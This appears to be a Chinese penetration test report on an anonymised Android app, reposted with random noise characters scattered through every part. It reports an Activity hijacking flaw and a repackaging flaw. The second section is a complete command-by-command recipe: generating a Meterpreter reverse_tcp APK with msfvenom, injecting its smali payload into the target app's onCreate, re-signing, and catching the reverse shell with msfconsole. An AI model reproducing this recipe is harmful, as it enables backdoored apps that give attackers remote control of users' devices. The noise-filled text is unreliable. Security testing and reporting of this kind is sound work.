原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

admin

9 u8 P+ X1 ^& v 3 M T" K V2 P1 T- v4 I
" g; J* \$ U. L+ C* p' c! {& @ o

) V k9 }5 k! S8 [

; P6 G P5 X/ m8 V; O 0 t+ q. f, A5 y8 e: c# E 文档编号：                D0 h/ ~7 w: ^) u: T 4 m# \% ]- I* p3 y# V" T K

6 l: ?$ p. j+ u. c ' w! b5 f% ?; ]: O4 S  

+ x. L' M" |* @) ]8 R W) Z+ m: p% u- G ' d( c% [' L5 Y/ a# g4 |6 f9 _4 w

& \3 u4 c+ T: ~/ q9 t9 X   / b2 A5 L( B) o. m) q8 k7 b4 l2 E. r

! C8 a6 t1 O0 h1 A + R, g9 x% ` L& m# f

" v0 R z! B9 G' }) F. c   + w: `, o! Y& R( I : u. `, w, a% H4 v

  ; a' M9 g9 \' c5 [, j7 k + F! |2 m6 h/ S B

$ N$ D3 |3 V/ {; f" y

u; n) w# y: b; X: s# P   / X" l4 P: P7 Y5 A6 o$ r $ ]8 A( O6 T; A% s8 ~1 ~# R; ^

! c* q! R8 ~% b% d, F$ W5 l

$ t5 T1 Y7 G) M7 d- i# a2 a 某某某APP渗透测试

& ~5 T7 i0 p6 x8 U , B2 }9 Z1 {8 R+ C3 g

- r8 H+ _* O! t( J5 f   2 E' g2 \- O. H: q7 ?$ _' B* e

4 J) z7 {) [, f% f 6 [9 h7 z# D$ Y" n0 V   0 F/ t8 ?. H, i3 p% ?" u. B. b0 I

1 _) D+ n' z: i, @4 n& v   + P2 D% l( ] H/ o S3 B$ b7 s

, X/ u) Y6 V) [

$ E* C4 t4 n' H$ M   - Q1 F8 {+ Y4 I- ^

- F3 [( I3 _) M; {, R

" T. y& A- `2 t l 技 术 报 告

9 Y: ^, b# K4 w% i  

4 j8 U0 i( w& e1 ?8 g7 K 7 O' p$ D1 p4 R% w3 O0 ]

( B4 E$ y5 U8 ~$ | 2 _1 u8 u9 {* [4 q, ?) b   6 N/ L) f) p" g7 ~/ b

; ?" J+ r0 H, Q. n9 z7 h$ y/ _8 R   ) ]/ n+ m5 t+ T1 R/ w2 C3 r& {; Z1 j4 \

5 a" B& f- ?# n* w& Q5 f 6 a) s+ k! T$ T# a0 u6 l7 m( @# S

 

. j& N. T' O" H$ h% _, E * x7 S0 n! B& _2 p' c- f( d6 R0 h   ! G2 h9 p1 {+ l. d) J2 f

& t, a7 n A; m! E! N$ v E

" f4 E% [: V: K; w % q: X2 m! ]- Q) }1 |0 R& M7 Y( a   " S5 O9 z" a1 f2 _6 G 5 c5 g# l: ^4 f, n8 D* s

* n. Q$ a' x: U: \ + A& l3 {# K. D- S" J

) |" |& I) ?: G9 G* |: r2 G- B   : @& H5 {% ?4 F% |8 k0 k

- O8 s7 l1 a6 ]8 S8 f, g- x0 K

8 \; r1 Y: D, ?   5 [* [ q1 h, p0 a5 I

/ ~' }: `6 o2 ]8 R7 V % H2 J0 J, z1 t7 b1 U' `4 @4 G4 Q( z   , L' \: l7 x5 E. B: Q+ w# ? : _6 [- x% K# }2 k+ a

' h: S9 h- R$ l, K 9 d7 g$ |3 z9 b) \% f" K( G   9 X/ ^) D' W" E: s' N5 o

  0 |8 J: ?: k: G, s7 a7 _

) h+ p5 P9 t* Z: q " Q1 t- l! @, b! P: d- {6 s

2 l* q$ U# N$ w/ f# B1 V% U+ m- J7 E% R' @   2 a* Y" m/ S: Q7 r9 \( s* n4 [

/ i2 J" z0 Z" [8 ^$ L " [) Y g0 O4 [5 D6 R

7 k5 R7 y, v' P$ Y ' b4 V+ m: C5 l# _! Y   1 E" t+ l( \) ?0 G$ R: M : k2 J4 z. q. W' R- {

8 f- V0 G' s t9 Y& J. ^   $ m9 G: Y4 u4 G ( _, ]) N0 W6 `5 w l6 @0 Y# ^

0 Z4 F7 u% W: W: N# C   % C$ G$ ?# |- m( D , T& ^/ p# r3 T! }* t3 i

7 m3 F' Z0 g, B, V% M

3 U' `2 o) K3 C! H; ]( s2 }! r1 F : c6 A& v( N, H! |) i, v( p  

p: J! B1 H3 v1 T& l' N r7 o2 K' I4 K% k$ @( X2 l: X   , Y0 j! ~. J" V( V1 |- B) P . V9 g4 m: i, l' U7 a8 _

* z) }- n0 }, q # Y0 s% u# ^8 N6 z+ [

) `$ t% u/ t \8 k   7 I, V. b9 K: y1 ] O3 }6 b! ]

! m7 r/ ^, i0 R' m5 Q N1 A 3 z: D% B- u* R. W q) i

; T6 @6 i$ H! G0 ^ S 二〇二〇年 8 }) }, g4 i4 m

4 ]2 \% f- L/ s' E7 j2 Q7 U/ R 1 Q/ d0 S( G& G% l- m% @5 L

3 G) D2 v0 C# ~' K
9 z3 [! H& s' T j9 d: @# X- Q* V1 l

2 [# J0 I- `" Q6 |: N6 h: z6 Y

?* R) w/ z& B# H* C7 G7 ~
3 K* K; d- R' U4 K8 u + h* ?( ]. k3 D! F: [5 l & G( Q" Z5 R9 B. {: o3 F8 ^ 4 K3 J* V' m5 O8 j; j- W8 M2 F

[! g) T- n1 R. H5 u

_: X6 [ g" M: n6 L; l; ^ 4 u8 K: q9 h2 ~- I" N 目 录 / y5 ~! L6 T+ g* K3 l

3 r* | M R" [: E

' c0 P- p6 B3 ^3 M3 s+ M( @ 7 v& d D# c2 q. w   h" h2 c! Z% H# U# ^7 p: y' Z

6 W1 E' _3 ]! e. V" g0 @0 }+ J' w

) `' V; M& x5 a. |) L% o- h: S 1 概述... 3 3 d" h A* \' t% U2 c

: T, f2 ~* A$ i0 J 3 z) q! h2 @; T

! s" h3 O5 i; k3 { 1.2测试时间... 3 J$ e; \5 f2 H! L- Y; x* I

1 k2 X" |' v/ T ' t( `/ T$ G, y

1.3测试对象... 3

4 k. M) u J' A) O4 u 1.4测试结果... 3 ( Y, l w9 b3 \9 Z2 B- G& S 3 h7 x" _$ {, W6 x( [

& M, C/ i- D, ^. c# ~9 n/ t- a& z& m, f

' n8 D( a' @1 g+ O' ?$ ]9 J# L 2 检测结果... 4 0 z. Y6 @. z( x0 Y : I$ C. l( C! K: V

$ f6 L1 [! U5 R

- c7 D/ H2 S* ~ 2.1 某某某... 4 7 `2 }7 }# t+ V l& M

7 c+ r/ A# [- n: t: Q( M1 t& ^ $ |, P, a% W4 L% k& B

. g# }! q5 W4 T 2.1.1检测目标... 4 ! y( @8 Q. o- \8 c2 I

% ^3 K( ^4 |: C X% m' f/ d0 {

( B; E1 L0 t2 j 2.1.2检测结果... 4 + I3 Q8 \; ~ Q8 e5 }; l

+ }( @& M3 C, x7 k# D2 t/ D - f/ |* F3 w a! w5 _

# Z+ {4 F" a% M. ~" d # l5 ?# ?! P3 \ 2.1.2.1. 4

. r' ?5 |4 V. ~$ H# I( C . v$ s: C, ]& g9 W7 y

9 ?/ L. q* t; E7 F* ^! | $ o6 ?) ?1 z6 e. A 2.1.2.2. 6 / e0 ~$ k$ |6 [: |4 d; T2 e" x2 c

; @! W( O# r5 r9 c" x

+ w2 R# e! I3 H9 S% t5 q8 h ! k" C# r1 _; S0 C9 Y& {9 `& D2 i

6 r0 H7 C1 g m9 ~; j$ P y6 ] * v0 h" r- ^- _. Y3 i2 O 0 R8 b0 e3 z0 ?4 r6 o

. O1 _ A5 ?3 E8 D, n ( I- g: [. b+ `
1 K/ S5 a1 D7 ?8 f( a' A k & a6 a7 ]( E7 Y6 {- k 7 k. G4 D3 z6 o3 ?# Z; Y9 f7 s

3 j& }! B5 t( g% T$ l* U 1 概述 / K7 z) ]3 F3 ]$ p. c " C7 Q, k$ z# }0 r" M- T

0 V) h3 K1 z q! w ; L; f, q+ ]7 y/ Z, e

1.2测试时间 t9 p" p' J) d5 F% a$ f8 J

2 X, b* j, W2 y0 x 2 L Z+ M/ w* R5 c6 x h+ }; { c, @8 _. u. X) c+ J' z8 {/ K" [6 z: o! W1 i4 \: i+ i# Z' K: K) I" E/ S8 c) V* _+ i+ i+ ~' ^+ _, l7 u3 R3 X( x" T5 o( U- A6 d8 U$ O# A$ c% A) Y5 L u( ]; j3 W, ?$ M; D/ ^2 b% b: w1 L; w5 [* q/ y$ N G1 I3 ?5 Q; y Y; B3 }8 m4 v( k5 t- x, j5 a5 X; t! N5 |! s x: k. y/ }* F3 O$ L$ `' Q4 G5 N3 u6 k6 @) t" ^! ?4 {5 |. F! O1 a% q Z6 w5 o5 T; v' F T- t5 b4 g

* T' g Y% N1 N' A * R/ W. ]/ n% y 渗透测试时间 3 G/ j$ a1 H. [ ' U6 Y/ `+ X M+ G* T7 x
+ J0 P/ \8 G4 `/ F) |, Y! k 起始时间	4 _/ {! e$ ]: G: f: N# _ 8 o! i Y, X. |/ B 2020年4月6日 Z' \, \ v4 e/ G0 U# v # {) P+ S# d# t! L0 l! U# w# O 5 O; c9 P" z q3 e
( A; Y5 U' B* K4 R. U7 \ ; B( J. ]7 |. [$ ~- A) y. { 结束时间 9 g# {3 I. E h" F1 c 1 Q' X! S& v4 L, P; z 0 G+ D8 \9 H0 T	6 o. u5 X2 n4 t% |( c0 e8 g & |7 Z- B7 E" h- u% O$ y 2020年4月9日 / c& E0 ^ y- X & N; G) I! |: z7 c0 F

1 p' F2 b0 J) ` Y; m, A + e/ \ F0 u1 X0 V9 M

1.3测试对象

; W% @1 S4 Q8 R8 j5 `! N3 l; J0 A: N 此次测试目标为某某某安卓APP进行渗透性测试，APP存在安全漏洞数量如下表所示： 7 F' e1 y5 O$ V- e/ U* O9 a- e _ & W2 I. y% e, m* S* |4 _/ A

F6 t# C) K3 S7 Y% N3 s8 f7 x* |( n + Q5 |2 u0 a3 l! H5 F& m/ Y 表1-1 检测对象 2 k: p1 r) C0 T8 q7 F5 L" x o

2 _/ ^! f% H" ?9 F; H" D" N* g! q - ^/ S% F/ K+ \" x) h+ R) B $ R+ F$ b% Q( w) j2 V" ?9 v; N6 y; d: e! K, H) i5 u l+ t! W* n( W/ j1 G' Y4 \. a7 D, v" t- t& p6 O E! O. M& C P' f1 F" P: x9 B% r! l5 f" L) s8 a& b$ n( ]. S7 T4 O7 L o* }4 b. w3 k6 c( ?4 v5 @) n6 o/ ]8 Z& ] b( P! V3 E4 R$ g8 ^3 k2 V6 a# z$ w- C- ~! {2 P1 ?2 I/ B& T

5 z+ }3 O- d: V7 j/ {$ J+ N$ a 序号 3 k" L2 Z- z6 n$ K. @( M 1 B. G C6 T( z" m W / q0 y$ K# Y+ q0 S( ?	9 Y& v! X+ a. f: S @& C 测试对象 $ X! ~- h5 `* l# }- @ + J& R4 C; h' U	8 [$ Z8 {9 J2 ?7 [. c3 Q" N" I* A ! j0 f; _# i/ ?7 _9 _/ {. U6 e 测试地址 3 t8 w; `, ?; V( e& W$ e- U * z# P2 J' {- [6 | 3 i2 o2 T3 J- P: S	9 X- O* M7 u5 n6 V3 k( l " h! t" B) C6 N1 d+ Q* ] # s7 @5 X" [2 \3 a, G 安全漏洞 $ E8 z/ A+ }/ |! F) }+ m
Y3 q+ M, b3 {) O7 D 6 @7 E( C6 o( {$ D- D 0 A: u7 V. l. H3 q+ T 1 7 _) P6 b {* g! g" f4 ` 8 B' S! c3 L6 J; O/ p% {	1 }2 b( V/ j& K ^ $ O3 j) U6 j, r$ C 某某某安卓APP ; k% L! P4 r! V: U 6 }' X& [ C( v+ @) {5 N	; M1 y* z) e$ E3 z) T / T% e) Q# b) c4 I" Z Q7 [* P4 C ( U$ q7 z d y) R9 i 0 m2 f6 k9 f) @6 `. w" e' K   0 l. c1 l# W1 K2 P/ D ( h: V6 x9 {; L- D3 `/ _ ( y" c) N' t/ K2 r+ e	4 J; Z, [5 @9 n- ^0 j9 c m 2 . H0 m* @! k+ L6 _% p7 I# o& Z ; u) h* ? H% P8 Q/ ]. O$ r

1.4测试结果 # _( h2 L5 [ q% Q# |* m5 A

, D+ K0 }+ T$ z8 }7 J: E! p5 x

在本次对某某某APP透测试中发现，APP安全防护存在一定问题，主要问题如下所示： ) ~, C1 w$ q) d1 r' r k ' g2 G4 ^6 l; C) t

6 n. y9 o) E( Z/ g0 H/ b 8 F# Q7 t$ Y6 o( |

  # J0 y4 S. d5 w3 v0 C6 n7 w

7 ?' F$ k+ e! E % i- v% N% i7 {- k# \+ f* v 2 H% m4 L$ d7 _" n4 r' K; X6 `4 S& ~% j. M3 X2 p6 e2 l: B. C" V4 D* n5 W( b$ c) e" E, ?7 z% z6 g9 t+ a, _6 J4 e( }3 I$ R8 d3 j# `# g5 ~7 j$ W, S7 D, m1 K7 ~3 Q% [+ r% M2 x" T: m9 e! b+ p; \+ k8 Y1 o( I; [; `1 W; y( f U/ N3 x4 h" [5 p+ P% y# M3 }& h* f+ i/ d; a y3 {$ {2 {& D5 B+ i i; R1 W4 X1 ~- e2 t8 S0 Y2 E) E* L# r0 S3 j9 ~' j, h/ L; L E; [3 Q9 V& E0 E- ~6 `( [7 g$ M* C, y# m0 u' V2 T! \$ D$ b/ n$ I5 |# r9 v7 U- B7 p0 q( ?) z- u7 n/ I6 R# n7 D: I! e* q) H& B& N, x( V) d* A- ], T/ I0 |2 K( [1 d+ ]" j3 ^0 {$ C/ F! K% U' e4 O. l9 b: M4 k, ?, H. b$ G( k$ o$ a2 I1 j3 w, J/ p% u! J4 e( _: Q' w$ X0 n: W* x9 E6 G" K2 h# I9 H/ f; ~' @6 A2 q4 \* p% u4 ^, E( p0 W; A4 ^, y1 a4 s

* h" I* g2 T4 ] U , e( {! X; R+ ~) R8 P W ; s) S: t& n! S- v& a 序号 ) t& n9 S6 f" o( @+ V * Y: J; j' [* O; p* d	6 O. H2 o$ i8 F" A. q1 }8 J3 L1 @' F ( P" j, P& h5 k $ D, S- `' ~. I6 w. u) U 系统名称 ) f: c% Q1 E6 Z$ a. e3 l- |4 Q( q: M" `% L	" O0 L( T* F& V7 r- e2 c 漏洞名称 2 z T/ M* z! y# a9 v7 \, k" p w* K: Z$ i$ P" K# V	& I, j( L, X2 a$ L7 [# Z# A . B3 a( d# U& E/ h! [6 t; } $ ]; `, ~ E- \3 y7 w1 h 8 Y' c8 a" e; } 漏洞危害 : O k2 K1 V* Q* {5 Y ) D. U/ @9 V) ~& o. A& k - ?, D( s$ I$ i7 A' |; v	U- g; V+ v$ |% P; l : C( {8 t1 D& V # z. s7 K7 }; N: K/ } 修复结果 9 _4 w+ o& G. V* k( Q
2 h. C) R. t3 G+ n4 f# F ) j U5 f; g7 i' j 0 m1 u; z, t, `5 p4 P1 ~ 1 6 W5 m4 ^5 q2 D5 b" ]7 P, \ 7 z" X) n; F: T 7 w# @% Y9 b- V' e0 Z5 @	; @6 d' o! [, o 某某某某某某APP " r/ t) W* i# y/ E; G* } , D* v2 h. P8 [- b- T	\' t/ e1 [6 a/ [- V0 Q 6 I t+ V8 h1 n+ s/ t 7 x5 G: F# q$ I6 D. u; Z9 Y, {- B Activity 劫持 4 l9 c4 ?, R1 ]( `* [. l 2 t2 Y$ [' ~, o   . n% H4 j7 Q$ n! y: q ; ^ _+ s, R' t. v( G' l+ N	$ L0 k+ i( M' h! |+ c * r" T; C$ T- w; G 高 " g ], m2 E. Y5 D* J% P & V S0 [3 D2 T5 Z	- L7 K. |6 I. [+ I, S, j 1 N9 e/ L# o0 J: P
, i3 x2 t- L* \ f" r. ? 2 |! o. e! m8 P 2 3 b" p" M" \+ y! {4 G3 j2 A	* g; G1 S4 z, T# l4 p/ ^& f 7 \ p4 B, @) a+ v& D; [2 V6 ~ * z& S) b- w ~9 o- }4 q2 C 某某某某某某APP ( M1 s+ N; T& K9 D! C) _ 5 P& J8 Z: {$ X- ]1 }( d+ ?! ~	7 M5 b6 G# I! P$ ]3 _ L) y7 U9 N# P 反编译二次打包捆绑木马、篡改APP代码 $ j1 r3 L3 b+ v" z8 h \0 r( v " Y3 T9 d$ L. [1 H! K i	- {% J9 c( f- Z# s# V ; N" w' ?& {, Q 高 ; e# n$ @5 D6 Z3 G4 P : w0 S- _: y8 z9 V" { 5 [. i5 U u5 o. G9 b	2 s" E8 s9 P, u, s& ^# ?: v( ^2 n+ J% t$ n " Q' P% \; Q* I C5 ~1 ^ 2 u+ Q. Y7 e" o/ g* A/ V   % r/ i4 ^) m( q; l& d 9 e( \" F* P8 W/ K# _! c$ o 2 W0 j- v8 J/ ?* Z0 N7 \8 V

/ s, n% _0 U% u 2 J% W- P8 i3 h7 \

) w: W$ M4 E* A1 ` 1 o9 W/ T+ r" |+ ]  

& A7 L6 U$ a6 W$ c/ l6 S ( R" n; _8 y1 Z& ^! s

% s/ N3 O7 f/ b; d 9 X$ q/ J7 ]3 X% \) d 表1-2 测试结果 , c) ?2 b: R' b% u 7 k$ x8 p( Y, Y% u3 `8 }5 x

+ n* \) d& Z* l X

* l! n3 Z @/ f  

. {& k2 }$ z- r3 ]' x , r8 S" k5 Q9 S" _# q

C* F H* s$ a. s7 _7 \ 2 检测结果                    # \9 ]+ }) i1 o, [! V4 M " |9 }4 K) ?2 Y7 o/ C- h& e

" W" n% c U# `" a " \- `8 z( m1 L3 e B1 m

, \! ]8 y. I; l" V9 ? 2.1 某某某

+ i% M: |1 L0 o) e, F; S / n& L5 Q5 Y |$ Z3 H

8 i, G3 F- j1 n0 q# W+ T 2.1.1检测目标

( W& u4 O2 k: u+ g, {9 a. ] 2 M4 d" Z# [+ P6 }: E0 ^& H- o

9 P* M2 w, y/ h5 m 目标地址： 某某某某某某APP % P' K- e8 g. n2 R ( c/ G% X1 p C1 z0 s

8 }+ E: }; ~ Z w

% s( _6 |: m- k6 S 3 Q! `2 {+ u! {- j 2.1.2检测结果 ! ^% p" h5 J' d1 }- U# o$ g2 s

2.1.2.1 " _" W6 L1 }& E# X! K S3 v

& h Y) W: }9 d

漏洞链接地址：某某某某某某APP " j# e0 `1 G V: v" G

$ U* d* I9 X- x: y % i! B: q2 c: H6 K" O, |" u6 l

- B4 c4 T' f/ s/ a7 W; C5 E7 R  

& T0 x; [& l' l; G) y+ v- k! T 漏洞分析及取证： 2 o: ~7 g9 R. i ]3 L 8 L- Q0 H) i/ }

8 y2 M; d% h" q) P5 E+ W

. W' |7 v! j, M, ~8 t% k) x                  通过androidkiiler反编译，发现app未进行安全加固， Activity 为com.minivision.cmcc.activity.SubActivity可被劫持，复现漏洞如图： / ~ N- z* P: u- Y# p/ H $ E8 P t. i5 h$ g

+ k. `" ^+ g% h4 G     

3 V& C6 G, q0 d& L1 F7 i9 M) C

/ i. x; }; v. C9 V+ _; n                       7 F$ l0 v1 b4 v1 m- @5 Q6 y: [

& R. Y# e% y( A8 f2 H 5 I% T, G1 W$ Y+ h% U2 _4 S$ S" i3 M

; y# w$ j3 p# b6 K: x

& t/ t$ U, J! i

7 a4 M- U2 w% M% w* P % J1 W# |) c1 I : b; T! n! O7 v1 w2 {3 W8 I

. [1 H- ?& h# Z, a

& Z; O. o& p6 q9 o9 j; ?% {7 v) h

漏洞危害：高 8 N* U' L: H6 p- u7 r8 Z. H

8 w; o1 F. i& |0 |3 M+ A

" Q* Y# @: r+ Q- B" P 7 G5 Z) u' V" O4 W0 W7 V8 N# f/ q6 r; r( S2 Y+ N3 O* [6 k1 Y+ P* }7 |! `+ V9 X; M5 Q3 B( T) R% f( L9 o* s' v5 E. r) U0 k! b1 d3 q% o$ C* w' U* j( S* x4 H5 E4 k1 Y. L# L3 A2 o, r* f3 o$ _' f R& ?+ v+ H$ _+ k. Z, j! ]( F f+ J2 T2 g* P# X& J9 H% s5 d& C- Q4 U# `7 K8 ~; G( ~1 J' @, y5 ]* D, t/ n# m P x8 c) n: H$ b; @) n1 S, \& D1 Q, ^: d U' g, l6 [% G, E. ~1 H0 B/ y( S4 H# ]3 W, z* ~5 Q- \ I' a# v4 N

: w3 t0 S# f% |) A* {! T" x5 s9 ~ 2 L& m# `/ h% a! K n 6 `; m2 P" z, ?. `; h( `& Z 严重程度 + W- n! c) P8 e3 R& Q+ K, `5 S	3 _- O' p; t6 l+ c 5 I1 T8 I2 S) G) z; Q ' m# l4 a: ^: K6 }/ k8 g( M 高 ; [7 m, y6 Y& K# m( t 8 ~$ i8 |5 C g6 _	: `3 A2 t0 J$ a9 I ■ + m% g0 O; _2 L+ e+ _- V/ A; \* @ 3 P* R& _! \0 w6 u# C	. Z: J) r) g: F 中 ( W* H" m; L, p& k0 w. U	; m# L2 z: d7 Y2 L" ]0 `& i ' y9 c0 t( \+ _) f7 x ) t' p& X7 w; E, p1 x   Q2 d4 u# y% ]: D! x3 a % {- i9 ?' p P7 p/ V+ s) L ' f- G2 l+ M" F4 _& t, C: S; z4 c6 ~	. P% ^% ]6 y: \, }' @( O$ C 1 N6 y# d7 L2 _6 B3 B# ` 低 . g& c! F* V4 Y: s* X( T* r * X# O6 k R' A6 P( l; X	4 I8 t. K: ^! A0 B; F8 P : f" S* `4 r0 c- G5 B * x' L; ]2 u. z' |! U* h   9 I) e; g+ a' B( q" |4 R7 T * Y8 g5 @9 J" W8 N

& k$ E/ R# Y V) Q # f- n" E/ M+ a0 {* a( }% f3 ^# x

: O; Q# Z2 f8 ^, X0 T; _9 O4 S

 

修复方法：在 APP 的 Activity 界面（也就是 MainActivity）中重写 onKeyDown 方法和 onPause 方法，当其被覆盖时，就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的（触摸返回键或 HOME 键），如果是用户自己触发的则无需弹出警示，否则弹出警示信息。 ~4 R. Z/ G' ~) C H

5 @9 }- q J3 ?/ G9 ~           4 B9 b/ i) A7 p6 d* p& W0 i * D: f( R ~' v- i& y- U9 K: B: k

5 J9 S! C% T# v/ |, C& y

( {! h+ W1 M- L0 d1 }9 d   * G3 X% b" U' {) s, |

* U' k8 s; Y$ C- L

& r) R0 @7 J: d; ` 0 {9 ~3 ~; G' W5 T- z 2.1.2.2 * _: _6 a5 f8 T4 Y# x' A( {) c

4 V" D8 Z( S: I0 Z, i1 y% f

0 a& q6 I3 x5 d- i 漏洞链接地址：某某某某某某APP % T6 t; K4 f2 l- }$ M! w$ z

) ~: v! T$ }- X9 w" @2 t9 U+ L

漏洞分析及取证： 7 s( T- C& Y, F P. m: D4 X- W # x$ a9 x) E3 U) G. H

- ], S5 ?- |2 c# Q5 x. G

                 通过反编译，发现程序未加壳加密，可直接反编译获取源码，经过测试可修改app代码捆绑木马或者植入广告等操作，复现详细方法如下： 8 H6 s! |% A% E5 V" s ; X) g' k3 D2 }* ?( {' a8 K! y

z6 F/ I* c# i' o7 I+ K0 D & ^1 v) h9 b+ e2 T( t0 b 用Metasploit 生成木马 apk ( J! \- W% \5 O/ L

, G6 `2 e+ l! S. t+ d; ]9 o/ x9 K: ` msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk # a# ?7 V4 f" b( z# c

# ^% ^1 N6 x7 y0 N $ b; \/ [% o6 A) V

; P) Z j \! h0 i- X% V) T" h. S ! a/ w) A# |' v; v+ }5 `6 { 反编译目标apk和木马apk % k( v5 x9 V, g8 ]

! ^. n0 r S) n& W: R& F : G1 _4 C0 [* R' \5 c! j

apktool d target.apk
: T. d7 n/ W! S J1 Q apktool d cockhorse.apk - p" o, b$ I1 A; c) N3 R3 b4 B+ y

; }# L8 i" T& ^- x* {+ y 7 Q# e; n" l# `8 ]0 \' E8 q' X

; o1 b5 ?; u& ]" {- O7 J 木马 apk 注入目标 apk 4 K9 D3 S. T* a

# H% ~$ `% l. m& @ 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件，并在 onCreate()方法中添加如下代码：
/ J& v5 v1 J" Z invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V ! K2 z0 Q- r* X% w0 R* Z# T, K

7 {8 ] I [( T5 r2 K

$ ?/ F+ u/ k* I! v9 R 5 u/ t- D0 R+ o4 r 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中，去除重复 ) J @1 @. v& {- ~" X( z ) s3 Y, u% ^. z& k0 c. h0 Y$ [

& z, G4 @7 W) o! B: [) L7 @ i, O. `5 w' F 将木马文件的 smali 文件放到目标文件下，例如 com/metasploit 文件复制到目标文件 com/ 下 1 h. i; N# x4 O+ R% V' x; O! t

, l1 B, [" ^* Q) ~

6 r. J9 u- T v' n* \ 回编译生成最终 apk

# w, W4 B; z! t: u% I! ?2 Z $ x, D2 U, F7 k. g. o$ {8 |

重新打包 ) q2 g) p: @& O/ _! h

- v: i/ w( j0 n4 X% Y

, W3 z5 t- u' `- N" R apktool b -o repackage.apk target_app_floder " Y% s _1 M9 V' d

/ a. z/ }* N5 Y, {: H) q9 K ! P# ^( Q2 G7 A, Z

3 ?/ `# U, L+ [( ~4 @* y0 [3 V( d+ D 创建签名文件，有的话可忽略此步骤

, w2 {! ^3 V+ D! |* E ; N' ^# a5 Z1 g6 [6 h- \! u& s

keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                ' H- t, i$ c" Z3 a' q3 Z' f2 a ( R% v9 \9 o- K) {/ A- o

3 `- y( l) z. C( Y; C

! P( O; j" X5 s/ E3 K( Z7 O5 |& E e 签名，以下任选其一 " k' h" B6 x1 g

# i, s7 J$ x/ i5 T . p$ Y) s1 ^& q4 C+ h, P- a$ D$ A

( }$ i# U7 |0 }* @ jarsigner 方式 + k6 s) P2 ]+ X) ]. ~( c8 v

' a1 e; U& w3 N1 I7 z( @9 f jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname

1 i3 Y4 y4 W( H7 ], a0 I, g7 W ) [, X5 S$ z( }

apksigner 方式 1 ?5 N/ r' J7 A) G 0 @. p& {2 O. B X/ y

0 x- O8 L8 O9 \! U2 C) E% j

" G3 x& o! A/ W: r3 Q apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk ! }1 I) G9 n* T! {* i

: P6 N* U* b0 u$ H0 R

! u$ E2 \; s1 [. @% z x, b2 ? h3 q/ B2 N: R7 W 如需要禁用 v2签名 添加选项--v2-signing-enabled false 1 B) e! r b( ^1 p6 L! ?" q" U5 A) j- E' ] 4 d6 o# M n/ R; H' S, C3 N

4 B! f; n% x% D. H- `/ C' j6 M

- C" K+ I; I" d4 z" Z & F$ _/ i; B# Z/ s8 Y. S- D 验证，以下任选其一

jarsigner方式 5 ~0 [: t. ^( s 9 I; k9 Y7 \) i( b9 Z

- a5 L; W8 G: j3 @% X2 z" `, s4 S

# ^$ k5 j! H: u; E3 d jarsigner -verify repackaged.apk # ]5 w& ?4 `- }% `* X/ F( _ - [: u( D0 @ ~+ R% d1 M3 @

" z9 C+ O% h9 L' L: X$ z

apksigner 方式

3 E0 X1 n) u: P

* C5 H4 r# ~# L2 ]3 P% P: |: q apksigner verify -v --print-certs repackaged.apk 4 Y) Y' Y, E3 `$ R

" r! R e. X% ^: ?0 x0 H/ v' F 3 {* g- }) ?+ p- Y" J

& r* W9 w: W- p3 g keytool方式 0 `7 }! C; \! Y! j; s

keytool -printcert -jarfile repackaged.apk 2 w7 M: F& Z. I% _8 N) e/ a

: V4 O A* ]* n3 D2 X4 ~$ @, n0 U

; A+ C) W) a! G+ N: l 对齐 1 O9 y) {5 [5 D# P; B$ z

$ p' H$ u. g* N* o % Q! v& K) p9 q5 q( D* F/ e" R

9 y' N* h P6 V 1 o2 S9 ^4 a- ]4 c C; B 字节对齐优化 9 w0 f& U4 w# e9 P " Q3 d/ x# |' ^+ A9 J8 {1 {- _; X

9 Q. V' [9 w% z' e( q6 _- I ! G; z0 {5 U$ a" u4 C

zipalign -v 4 repackaged.apk final.apk Z" R r. |9 y8 I4 t$ _

: i2 F# c+ s3 Z8 t; B' H$ t; y

) t) d' i" g% a2 O- H% } 检查是否对齐 : F, P5 j. L/ x% \

7 O8 M( b* R' b3 y9 o7 V0 F/ j

1 n6 i, M- o4 P/ W6 y* ^ zipalign -c -v 4 final.apk , Y/ X A4 V, ~0 j( V8 z& Y$ I3 j : v$ G: }4 L9 t" ^2 z, ~

2 h5 O5 B) s( {" f, J

( K3 E3 Y8 I, f. l* E: ? + Q7 A! o/ [: \. K/ y 注：zipalign可以在V1签名后执行，但zipalign不能在V2签名后执行,只能在V2签名之前执行 # l6 I3 w8 O9 C5 R* N* X3 S; Q( ] " g6 x+ _1 i: c# n: | c

7 L- B4 G' K3 l1 |( r/ W& i 启动Metasploit控制台，配置参数等待上线

& ~2 W/ b. v( g7 O( r( ^% N" d 在终端依次输入如下命令

! z6 B8 X2 k2 |; f$ |4 Y $ k) V$ W# m; K+ s; z6 J/ {5 U

/ J' l6 h- B3 o7 A; Z$ D7 p msfconsole

9 s+ s3 G7 H) t

5 b+ }2 d- c- ]; Z use exploit/multi/handler [3 ^. M' Y7 D- |

9 b$ e4 O8 j' }

( T& o9 z3 A) ~ set PAYLOAD android/meterpreter/reverse_tcp # }6 C6 j/ ?. r( ? + G. f0 e/ ~& ~+ b) g9 r) K; S

4 s5 I7 @2 }6 P& `3 d9 T3 ]; e, L & y2 h H4 _5 k, s a+ H% `

% u9 `9 t0 I' z. e) y, B" P " J! d% K* C: k set LHOST 192.xxx.xx.xx e; `, k& g H& k7 M8 f! v 6 j# m% m3 e4 d

6 ?, k3 u, b$ ~+ y/ x* e% j - S! A( U4 D! B) z2 W

' _2 ]! I7 {* P" j set LPORT 4444

; i- z. n8 U1 E' @

3 p7 P; f: t3 `" N5 O* w9 Z 6 E- `3 I2 V4 K% g7 j exploit 6 c! c4 [. c7 ?" |0 \$ n, H 0 g. E; O% t: x, v6 A% G! v

2 Q' W; R, k! v0 A! L9 G

# k" ~$ d4 H0 F& a 4 n' M5 o# l: c 之前我们把入口放在 MainActivity 的 onCreate 方法中，当启动目标应用进入该界面，就会连接成功，如下图：              

- @) S5 J0 M- V0 b: N8 R

